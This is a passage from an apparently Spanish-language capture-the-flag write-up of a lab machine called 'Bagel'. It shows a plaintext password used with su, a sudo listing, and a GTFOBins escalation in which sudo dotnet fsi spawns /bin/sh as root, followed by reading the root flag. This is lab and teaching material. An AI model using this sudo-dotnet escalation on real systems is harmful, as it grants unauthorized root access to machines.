[phil@bagel ~]$ su developer # k8wdAYYKyhnjg3K
Password:
[developer@bagel phil]$ whoami;id;pwd
developer
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/phil
[developer@bagel phil]$

Tras ejecutar sudo -l -l observamos que podemos ejecutar dotnet con sudo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[developer@bagel ~]$ sudo -l -l
Matching Defaults entries for developer on bagel:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME
    LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
    LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin

User developer may run the following commands on bagel:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
    /usr/bin/dotnet
[developer@bagel ~]$

Utilizamos GTFOBins - dotnet para escalar privilegios, lo que nos permitio obtener nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[developer@bagel ~]$ sudo /usr/bin/dotnet fsi

Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
Copyright (c) Microsoft Corporation. All Rights Reserved.

For help type #help;;

> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
sh-5.2# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
/home/developer
sh-5.2# cd /root
sh-5.2# ls
anaconda-ks.cfg  bagel  root.txt
sh-5.2# cat root.txt
2b472456dd891e76248ebbac64c4421d
sh-5.2#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe